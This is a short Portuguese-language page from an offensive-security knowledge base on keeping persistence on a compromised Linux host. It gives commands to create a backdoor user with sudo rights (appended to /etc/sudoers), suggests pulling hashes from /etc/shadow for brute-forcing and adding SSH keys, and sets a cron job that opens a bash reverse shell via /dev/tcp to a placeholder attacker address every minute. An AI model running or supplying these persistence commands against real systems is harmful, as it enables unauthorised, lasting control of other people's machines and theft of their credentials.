# Persistência

### Criando um Novo Usuário

Apesar de não ser algo muito discreto, podemos utilizar um novo usuário para servir como um Backdoor

```bash
adduser <user>
adduser <user> sudo
```

Caso o alvo possua SSH instalado, execute também os comandos abaixo:

```bash
useradd <user>
passwd <user>
echo "<user>    ALL=(ALL) ALL" >> /etc/sudoers
```



### Brute Force em Senhas do SO

Acesse `/etc/shadow` para resgatar os hashes das senhas, e depois tente algum `Brute Force` para quebrá-las

###

### Chaves SSH

Adicione uma chave à conta SSH existente

###

### Cronjob

Crie um script na Cronjob para realizar uma Reverse Shell a cada X minutos. Verifique na seção [Linux - Utilização](https://mysther.gitbook.io/knowledge-base/sistemas-operacionais/linux/utilizacao#cronjob) para ver mais detalhe em como configura uma Cronjob. Não esqueça de verificar se o serviço da Cronjob está incializada (`service cron status`).

Podemos por exemplo, executar os seguintes comandos para realizar uma futura reverse shell:

```bash
echo "* * * * * bash -c 'bash -i >& /dev/tcp/<ip_atacante>/<port> 0>&1'" > cron
crontab -i cron
crontab -l
```
